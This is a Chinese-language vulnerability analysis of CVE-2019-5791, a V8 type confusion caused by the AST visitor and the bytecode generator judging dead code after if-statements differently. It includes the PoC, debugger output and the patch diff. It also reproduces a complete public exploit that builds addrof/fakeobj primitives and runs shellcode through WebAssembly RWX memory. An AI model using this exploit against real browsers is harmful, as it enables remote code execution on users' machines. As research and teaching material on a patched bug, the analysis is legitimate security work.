作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/cplBP5bd2NA9upy9rlyLHw

近日,作者研究了chrome v8的一個漏洞cve-2019-5791,cve的漏洞描述是由于不合適的優化可以導致越界讀,但實際上該漏洞是由于在語法樹遍歷階段和實際生成字節碼階段對死結點的判定不一致導致的類型混淆,成功利用該漏洞可以導致rce。

漏洞環境

漏洞的修復網址是https://chromium.googlesource.com/v8/v8/+/9439a1d2bba439af0ae98717be28050c801492c1,這里使用的commit是2cf6232948c76f888ff638aabb381112582e88ad。使用如下命令搭建漏洞環境

git reset --hard 2cf6232948c76f888ff638aabb381112582e88ad
gclient sync -f
tools/dev/v8gen.py x64.debug 
ninja -C out.gn/x64.debug d8

tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

漏洞分析

ast visitor

首先看一下漏洞修復的描述:

[ast] Always visit all AST nodes, even dead nodes

We'll let the bytecode compiler and optimizing compilers deal with dead code,
rather than the ast visitors. The problem is that the visitors previously
disagreed upon what was dead. That's bad if necessary visitors omit parts of
the code that the bytecode generator will actually visit.

I did consider removing the AST nodes immediately in the parser, but that
adds overhead and actually broke code coverage. Since dead code shouldn't be
shipped to the browser anyway (and we can still omit it later in the bytecode
generator), I opted for keeping the nodes instead.

Change-Id: Ib02fa9031b17556d2e1d46af6648356486f8433d
Reviewed-on: https://chromium-review.googlesource.com/c/1470108
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/master@{#59569}

通過漏洞描述我們大致知道問題出在語法樹的遍歷階段,具體點來說就是語法樹遍歷階段和字節碼生成階段對死結點的判定不一致。那么現在的問題就是這兩個階段對死結點的判定具體有什么不同,對死結點判定的不一致又會導致什么問題。

在漏洞修復頁面查看一下diff的內容看一下修復漏洞改了哪些東西,通過被修改代碼的文件名發現只是去掉了語法樹遍歷階段的一些代碼,加了幾行對漏洞分析幫助不大的輸出和一個漏洞poc。從這些信息我們可以得到ast visitor處理語法樹死結點跳轉位置的代碼如下,

template <class Subclass>
void AstTraversalVisitor<Subclass>::VisitStatements(
    const ZonePtrList<Statement>* stmts) {
  for (int i = 0; i < stmts->length(); ++i) {
    Statement* stmt = stmts->at(i);
    RECURSE(Visit(stmt));
    if (stmt->IsJump()) break;
  }
}

bool Statement::IsJump() const {
  switch (node_type()) {
#define JUMP_NODE_LIST(V) \
  V(Block)                \
  V(ExpressionStatement)  \
  V(ContinueStatement)    \
  V(BreakStatement)       \
  V(ReturnStatement)      \
  V(IfStatement)
#define GENERATE_CASE(Node) \
  case k##Node:             \
    return static_cast<const Node*>(this)->IsJump();
    JUMP_NODE_LIST(GENERATE_CASE)
#undef GENERATE_CASE
#undef JUMP_NODE_LIST
    default:
      return false;
  }
}

從上邊ast visitor中處理語法樹statements的代碼我們可以得到stmt->IsJump()為真時會跳出循環不去處理(使用自定義的RECURSE方法)之后的代碼。注意這里stmt->IsJump()為真的條件中有一個是IfStatement

我們跟進ast-traversal-visitor.h,發現這個文件定義了一個繼承自AstVisitor的類AstTraversalVisitor,定義了一些處理不同類型語法樹結點的操作,而在處理不同類型語法樹結點時又使用了RECURSE宏調用相應語法樹結點類型的visit方法繼續遍歷語法樹,在遍歷節點過程中主要記錄語法樹深度、檢查語法樹結點遞歸時是否棧溢出。

以上是我們可以從漏洞修復得到的信息,但是僅憑這些信息顯然沒辦法了解漏洞的本質。此時我們還需要解決的一個問題是找到v8中真正生成字節碼bytecode-generator時對死結點處理的代碼。

bytecode-generator

我對v8的源代碼不是很熟悉,找bytecode-generator處理語法樹死結點的代碼我這里用的方法是在patch中ast-traversal-visitor.h代碼修改的地方(即bast-traversal-visitor.h:113)下斷點,然后不斷棧回溯找到的。最終得到v8生成語法樹解析生成字節碼的大致過程如下(這里有一個點是v8會把js代碼分成top-levelnon top-level部分,普通語句和函數聲明是top-level,函數定義部分是non top-level。)

1.解析top level部分的代碼,生成語法樹并生成這部分代碼的未優化字節碼
2.解析non top-level運行到的函數的代碼,生成語法樹,調用ast visitor和bytecode-generator的代碼生成字節碼。這里最終生成字節碼調用的函數是bytecode-generator.cc BytecodeGenerator::GenerateBytecode

我們跟進最終生成字節碼的函數BytecodeGenerator::GenerateBytecode

void BytecodeGenerator::GenerateBytecode(uintptr_t stack_limit) {
......
  if (closure_scope()->NeedsContext()) {
    // Push a new inner context scope for the function.
    BuildNewLocalActivationContext();
    ContextScope local_function_context(this, closure_scope());
    BuildLocalActivationContextInitialization();
    GenerateBytecodeBody();
  } else {
    GenerateBytecodeBody();
  }

  // Check that we are not falling off the end.
  DCHECK(!builder()->RequiresImplicitReturn());
}

主要是進行了棧溢出檢查、范圍檢查、分配寄存器,然后調用GenerateBytecodeBody()真正生成字節碼。

void BytecodeGenerator::GenerateBytecodeBody() {
......
  // Visit statements in the function body.
  VisitStatements(info()->literal()->body());

  // Emit an implicit return instruction in case control flow can fall off the
  // end of the function without an explicit return being present on all paths.
  if (builder()->RequiresImplicitReturn()) {
    builder()->LoadUndefined();
    BuildReturn();
  }
}

GenerateBytecodeBody()中主要是根據語法樹結點類型調用相應visit函數處理相應結點,注意這里VisitStatements(info()->literal()->body());調用的是如下代碼

void BytecodeGenerator::VisitStatements(
    const ZonePtrList<Statement>* statements) {
  for (int i = 0; i < statements->length(); i++) {
    // Allocate an outer register allocations scope for the statement.
    RegisterAllocationScope allocation_scope(this);
    Statement* stmt = statements->at(i);
    Visit(stmt);
    if (builder()->RemainderOfBlockIsDead()) break;
  }
}

BytecodeGenerator::VisitStatements即實際生成字節碼時處理語法樹聲明類型結點的代碼,這里我們發現在實際生成字節碼時builder()->RemainderOfBlockIsDead()條件為真時會跳出循環不去處理之后的代碼。這樣我們最開始的問題ast visitorbytecode-generator處理語法樹死結點的不同就轉化為builder()->RemainderOfBlockIsDead()條件為真和stmt->IsJump()條件為真時的不同。

我們找到builder()->RemainderOfBlockIsDead()的定義,

void BytecodeArrayWriter::UpdateExitSeenInBlock(Bytecode bytecode) {
  switch (bytecode) {
    case Bytecode::kReturn:
    case Bytecode::kThrow:
    case Bytecode::kReThrow:
    case Bytecode::kAbort:
    case Bytecode::kJump:
    case Bytecode::kJumpConstant:
    case Bytecode::kSuspendGenerator:
      exit_seen_in_block_ = true;
      break;
    default:
      break;
  }
}

對比stmt->IsJump()的定義

bool Statement::IsJump() const {
  switch (node_type()) {
#define JUMP_NODE_LIST(V) \
  V(Block)                \
  V(ExpressionStatement)  \
  V(ContinueStatement)    \
  V(BreakStatement)       \
  V(ReturnStatement)      \
  V(IfStatement)
#define GENERATE_CASE(Node) \
  case k##Node:             \
    return static_cast<const Node*>(this)->IsJump();
    JUMP_NODE_LIST(GENERATE_CASE)
#undef GENERATE_CASE
#undef JUMP_NODE_LIST
    default:
      return false;
  }
}

對比可以發現stmt->IsJump()為真的條件多了IfStatement,也就是說ast visitor不會處理if死結點之后的代碼,而實際生成字節碼時會處理到這部分ast visitor沒有檢查過的代碼。那接下來的問題就是,這么做會導致什么后果呢?

類型混淆的原因

經過調試發現漏洞版本的v8在處理到形如poc中代碼的箭頭函數時,

// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
var asdf = false;
const f =
  (v1 = (function g() {
    if (asdf) { return; } else { return; }
    (function h() {});
  })()) => 1;
f();

會調用bytecode-generator.cc BytecodeGenerator::AllocateDeferredConstants,此時棧回溯如下

#0  v8::internal::interpreter::BytecodeGenerator::AllocateDeferredConstants (this=0x564b468658c0, isolate=0x564b467d7e00, script=...) at ../../src/interpreter/bytecode-generator.cc:988
#1  0x00007f0b368acd87 in v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode (this=0x564b468658c0, isolate=0x564b467d7e00, script=...) at ../../src/interpreter/bytecode-generator.cc:964
#2  0x00007f0b368d8177 in v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl (this=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/interpreter/interpreter.cc:214
#3  0x00007f0b362b3a3f in v8::internal::UnoptimizedCompilationJob::FinalizeJob (this=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/compiler.cc:158
#4  0x00007f0b362bcdb4 in v8::internal::(anonymous namespace)::FinalizeUnoptimizedCompilationJob (job=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/compiler.cc:425
#5  0x00007f0b362b65bf in v8::internal::(anonymous namespace)::FinalizeUnoptimizedCode (parse_info=0x7fffd1cf1730, isolate=0x564b467d7e00, shared_info=..., outer_function_job=0x564b46865390, inner_function_jobs=0x7fffd1cf16c0) at ../../src/compiler.cc:594
#6  0x00007f0b362b60c5 in v8::internal::Compiler::Compile (shared_info=..., flag=v8::internal::Compiler::KEEP_EXCEPTION, is_compiled_scope=0x7fffd1cf1b58) at ../../src/compiler.cc:1182
#7  0x00007f0b362b68b6 in v8::internal::Compiler::Compile (function=..., flag=v8::internal::Compiler::KEEP_EXCEPTION, is_compiled_scope=0x7fffd1cf1b58) at ../../src/compiler.cc:1212
#8  0x00007f0b36b905c4 in v8::internal::__RT_impl_Runtime_CompileLazy (args=..., isolate=0x564b467d7e00) at ../../src/runtime/runtime-compiler.cc:40
#9  0x00007f0b36b901e2 in v8::internal::Runtime_CompileLazy (args_length=1, args_object=0x7fffd1cf1c28, isolate=0x564b467d7e00) at ../../src/runtime/runtime-compiler.cc:22
#10 0x00007f0b372e3132 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit () from /home/r00t/v8/out.gn/x64.debug/./libv8.so
#11 0x00007f0b36f64761 in Builtins_CompileLazy () from /home/r00t/v8/out.gn/x64.debug/./libv8.so
#12 0x00007f0b36f486c0 in Builtins_ArgumentsAdaptorTrampoline () from /home/r00t/v8/out.gn/x64.debug/./libv8.so
#13 0x00003d48921004d1 in ?? ()
#14 0x00003ea80bf81521 in ?? ()
#15 0x0000000000000000 in ?? ()

跟進BytecodeGenerator::AllocateDeferredConstants

void BytecodeGenerator::AllocateDeferredConstants(Isolate* isolate,
                                                  Handle<Script> script) {
......
  // Build array literal constant elements
  for (std::pair<ArrayLiteral*, size_t> literal : array_literals_) {
    ArrayLiteral* array_literal = literal.first;
    Handle<ArrayBoilerplateDescription> constant_elements =
        array_literal->GetOrBuildBoilerplateDescription(isolate);
    builder()->SetDeferredConstantPoolEntry(literal.second, constant_elements);
  }

......
}

BytecodeGenerator::AllocateDeferredConstants主要調用對應的方法處理語法樹不同類型節點并將當前語法樹結點偏移literal.second的元素視為下一個要處理的當前結點類型入口即視為與當前結點類型一致,例如在構造array對象常量時,會調用SetDeferredConstantPoolEntry設置literal.second為當前數組的下一個入口點,即偏移literal.second的位置視為數組類型,這里literal.second為一個索引值。

pwndbg> p literal
$4 = {
  first = 0x55f4e2734868, 
  second = 2
}

由于ast visitor沒有檢查if死結點之后代碼的數據類型,而bytecode-generator在實際生成字節碼時會把語法樹當前結點偏移literal.second的位置視為當前節點類型從而最終導致類型混淆。

如poc中的代碼在執行到compiler.cc :961 maybe_existing = script->FindSharedFunctionInfo(isolate, literal)時,此時literal的內容已經是非法的object對象,debug編譯的v8類型檢查錯誤導致崩潰。

pwndbg> p literal
$2 = (v8::internal::FunctionLiteral *) 0x55f5e5bbad88
pwndbg> x/10xg 0x55f5e5bbad88
0x55f5e5bbad88: 0x002000e60000010b  0x0000000000000000
0x55f5e5bbad98: 0x0000010b00000000  0x0000000400000000
0x55f5e5bbada8: 0x000055f5e5bbade0  0x000055f5e5bbab00
0x55f5e5bbadb8: 0x0000000000000000  0x0000000000000000
0x55f5e5bbadc8: 0x000055f5e5bba048  0x0000000000000000

patch分析

我們回過頭來看patch修改的內容,去掉了ast visitor中對代碼塊跳轉的判斷,即不論當前代碼塊是否會跳轉依舊處理之后的代碼,這樣雖然可能會多遍歷檢查一部分語法樹結點,但確實是修復了這個漏洞。

diff --git a/src/ast/ast-traversal-visitor.h b/src/ast/ast-traversal-visitor.h
index ac5f8f2f6..b4836ff 100644
--- a/src/ast/ast-traversal-visitor.h
+++ b/src/ast/ast-traversal-visitor.h
@@ -116,7 +116,6 @@
   for (int i = 0; i < stmts->length(); ++i) {
     Statement* stmt = stmts->at(i);
     RECURSE(Visit(stmt));
-    if (stmt->IsJump()) break;
   }
 }


diff --git a/src/ast/ast.cc b/src/ast/ast.cc
index d47300a..c5b122c 100644
--- a/src/ast/ast.cc
+++ b/src/ast/ast.cc
@@ -151,26 +151,6 @@
   return IsFunctionLiteral() && IsAccessorFunction(AsFunctionLiteral()->kind());
 }

-bool Statement::IsJump() const {
-  switch (node_type()) {
-#define JUMP_NODE_LIST(V) \
-  V(Block)                \
-  V(ExpressionStatement)  \
-  V(ContinueStatement)    \
-  V(BreakStatement)       \
-  V(ReturnStatement)      \
-  V(IfStatement)
-#define GENERATE_CASE(Node) \
-  case k##Node:             \
-    return static_cast<const Node*>(this)->IsJump();
-    JUMP_NODE_LIST(GENERATE_CASE)
-#undef GENERATE_CASE
-#undef JUMP_NODE_LIST
-    default:
-      return false;
-  }
-}
-

漏洞利用

cve-2019-5791網上只有一個公開的韓國人寫的不穩定exp,成功率大概在40%左右,exp地址:https://github.com/cosdong7/chromium-v8-exploit。作者水平有限沒有構造出比較穩定的exp,下面介紹這個exp的思路。

因為我們利用cve-2019-5791最終要達到的目的還是任意地址讀寫,所以要做的就是利用if死結點之后代碼的類型混淆構造一個可控的array buffer對象,有了可控的array buffer利用寫wasm執行shellcode即可。

callFn = function(code) {
    try {
        code();
    } catch (e) {
        console.log(e);
    }
}

let proxy = new Proxy({}, {});

function run(prop, ...args) {
    let handler = {};
    const proxy = new Proxy(function() {}, handler);
    handler[prop] = (({
        v1 = ((v2 = (function() {
            var v3 = 0;
            var callFn = 0;
            if (asdf) {
                return;
            } else {
                return;
            }
            (function() {
                v3();
            });
            (function() {
                callFn = "\u0041".repeat(1024 * 32); // mutate "run"
                v3 = [1.1, 2.2, 3.3]; // now "proxy" becomes a packed array.
                v4 = [{}].slice();
                v5 = [4.4];
            })
        })) => (1))()
    }, ...args) => (1));
    Reflect[prop](proxy, ...args);
}

callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));


function test() {

    let convert = new ArrayBuffer(0x8);
    let f64 = new Float64Array(convert);
    let u32 = new Uint32Array(convert);


    function d2u(v) {
        f64[0] = v;
        return u32;
    }

    function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
    }

    function hex(d) {
        let val = d2u(d);
        return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16));
    }


    let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05];
    let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
    let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
    let f = wasm_mod.exports._Z3addii;

    run[18] = 0x41414141;
    if(proxy.length == 0x41414141){
    print("exploit success!\n");
}
    else{
    print("exploit fail TT\n");
}

    let addrof = function(obj) {
        v4[0] = obj;
        var leak = proxy[26];
        return leak;
    }

    let fakeobj = function(addr) {
        proxy[26] = addr;
        var obj = v4[0];
        return obj;
    }

    let ab = new ArrayBuffer(0x100);
    let abAddr = addrof(ab);
    print("array buffer : " + hex(abAddr));


    let wasmObj = addrof(f) - u2d(0x108, 0);

    doubleMap = proxy[34];

    var fake = [
        doubleMap, 0,
        wasmObj, u2d(0, 0x8)
    ].slice();
    var fakeAddr = addrof(fake) - u2d(0x20, 0);
    print("fake_addr : " + hex(fakeAddr));
    var target = fakeobj(fakeAddr);

    let rwx = target[0];
    print("rwx : " + hex(rwx));
    fake[2] = abAddr + u2d(0x10, 0);
    target[0] = rwx;

    let dv = new DataView(ab);
    for (var i = 0; i < shellcode.length; i++) {
        dv.setUint32(i * 4, shellcode[i]);
    }
    f();

}

test();

--print-ast查看一下exp中生成的語法樹

......

[generating bytecode for function: run]
--- AST ---
FUNC at 122
. KIND 0
. SUSPEND COUNT 0
. NAME "run"
. PARAMS
. . VAR (0x55f76877bc10) (mode = TEMPORARY, assigned = true) ""
. DECLS
. . VARIABLE (0x55f76877bb18) (mode = LET, assigned = false) "prop"
. . VARIABLE (0x55f76877bbc0) (mode = LET, assigned = false) "args"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at -1
. . . INIT at -1
. . . . VAR PROXY local[0] (0x55f76877bb18) (mode = LET, assigned = false) "prop"
. . . . VAR PROXY parameter[0] (0x55f76877bc10) (mode = TEMPORARY, assigned = true) ""
. . EXPRESSION STATEMENT at -1
. . . INIT at -1
. . . . VAR PROXY local[1] (0x55f76877bbc0) (mode = LET, assigned = false) "args"
. . . . VAR PROXY local[2] (0x55f76877bc40) (mode = TEMPORARY, assigned = true) ""
. BLOCK NOCOMPLETIONS at -1
. . BLOCK NOCOMPLETIONS at -1
. . . EXPRESSION STATEMENT at 156
. . . . INIT at 156
. . . . . VAR PROXY local[3] (0x55f76877bf40) (mode = LET, assigned = false) "handler"
. . . . . OBJ LITERAL at 156
. . BLOCK NOCOMPLETIONS at -1
. . . EXPRESSION STATEMENT at 176
. . . . INIT at 176
. . . . . VAR PROXY local[4] (0x55f76877c100) (mode = CONST, assigned = false) "proxy"
. . . . . CALL NEW at 176
. . . . . . VAR PROXY unallocated (0x55f7687838b8) (mode = DYNAMIC_GLOBAL, assigned = false) "Proxy"
. . . . . . FUNC LITERAL at 186
. . . . . . . NAME 
. . . . . . . INFERRED NAME 
. . . . . . VAR PROXY local[3] (0x55f76877bf40) (mode = LET, assigned = false) "handler"

.......

[generating bytecode for function: v1.v2]
--- AST ---
FUNC at 373
. KIND 0
. SUSPEND COUNT 0
. NAME ""
. INFERRED NAME "v1.v2"
. EXPRESSION STATEMENT at 393
. . ASSIGN at 400
. . . VAR PROXY context[5] (0x55f768781158) (mode = VAR, assigned = true) "callFn"  0x55f7687838b8
. . . CALL
. . . . PROPERTY at 411
. . . . . LITERAL "A"
. . . . . NAME repeat
. . . . LITERAL 32768
. EXPRESSION STATEMENT at 434
. . ASSIGN at 437
. . . VAR PROXY context[4] (0x55f768781070) (mode = VAR, assigned = true) "v3"      
. . . ARRAY LITERAL at 439
. . . . VALUES at 439
. . . . . LITERAL 1
. . . . . LITERAL 2
. . . . . LITERAL 3
. . . . . LITERAL 4
. . . . . LITERAL 5
. . . . . LITERAL 6

注意到run中proxy對象的地址是0x55f76877c100,v1.v2中callFn的地址是0x55f7687838b8,callFn中的元素會覆蓋到proxy的位置導致proxy和run類型混淆成array。在run成功被混淆成array類型時我們可以通過run修改proxy的長度得到一個可以越界訪問的數組proxy,再通過數組的越界讀寫利用寫wasm執行shellcode即可。這里exp不穩定的原因是run不一定會從jsfunction類型被穩定類型混淆成array類型,導致不一定會得到穩定越界訪問的數組proxy。

總結

通過以上分析發現cve-2019-5791這個漏洞根源還是v8在開發時模塊之間耦合出現的問題,而為了減少模塊之間數據和操作的耦合度,又不得不加入一些模塊去分開處理數據和操作。模塊之間耦合時可能存在處理不一致導致安全隱患,這可能為我們挖掘漏洞提供了新的思路。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1177/